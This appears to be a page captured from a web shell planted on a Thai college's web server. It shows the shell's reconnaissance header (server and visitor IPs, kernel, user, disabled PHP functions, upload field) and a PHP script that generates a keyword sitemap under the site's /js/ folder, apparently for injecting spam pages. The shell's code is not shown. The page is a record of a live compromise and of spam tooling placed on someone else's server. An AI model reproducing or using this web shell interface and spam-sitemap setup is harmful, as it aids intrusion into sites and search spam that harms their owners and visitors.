Server IP : 202.29.229.35 / Your IP : 3.22.217.190 Web Server : Apache System : Linux aapanel2 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64 User : www ( 1001) PHP Version : 5.5.38 Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv MySQL : ON | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /www/wwwroot/www.ivecr2.ac.th/ncvet5/js/ |
Upload File : |
<?php /** * Sitemap Generator Script * * Reads keywords from list.txt and generates a sitemap.xml file * with URLs in the format domain.com/ncvet5/js/keyword/ */ // Base configuration $base_url = (empty($_SERVER['HTTPS']) ? 'http' : 'https') . "://{$_SERVER['HTTP_HOST']}/ncvet5/js/"; $file_path = "list.txt"; // Path to the keywords list file $output_file = "29a.xml"; // Output file name // Check if the keyword file exists if (!file_exists($file_path)) { die("Error: Keyword file not found at $file_path"); } // Read keywords from file $keywords = file($file_path, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES); // Start XML output $xml = '<?xml version="1.0" encoding="UTF-8"?>' . PHP_EOL; $xml .= '<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">' . PHP_EOL; // Current date for lastmod $current_date = date('Y-m-d'); // Add entries for each keyword foreach ($keywords as $keyword) { $keyword = trim($keyword); if (empty($keyword)) continue; $url = $base_url . $keyword . '/'; $xml .= ' <url>' . PHP_EOL; $xml .= ' <loc>' . htmlspecialchars($url) . '</loc>' . PHP_EOL; $xml .= ' <lastmod>' . $current_date . '</lastmod>' . PHP_EOL; $xml .= ' <changefreq>daily</changefreq>' . PHP_EOL; $xml .= ' <priority>1.0</priority>' . PHP_EOL; $xml .= ' </url>' . PHP_EOL; } // Close XML $xml .= '</urlset>'; // Save to file if (file_put_contents($output_file, $xml)) { echo "Sitemap successfully generated at $output_file" . PHP_EOL; echo "Contains " . count($keywords) . " URLs" . PHP_EOL; } else { echo "Error: Could not write sitemap to $output_file" . PHP_EOL; }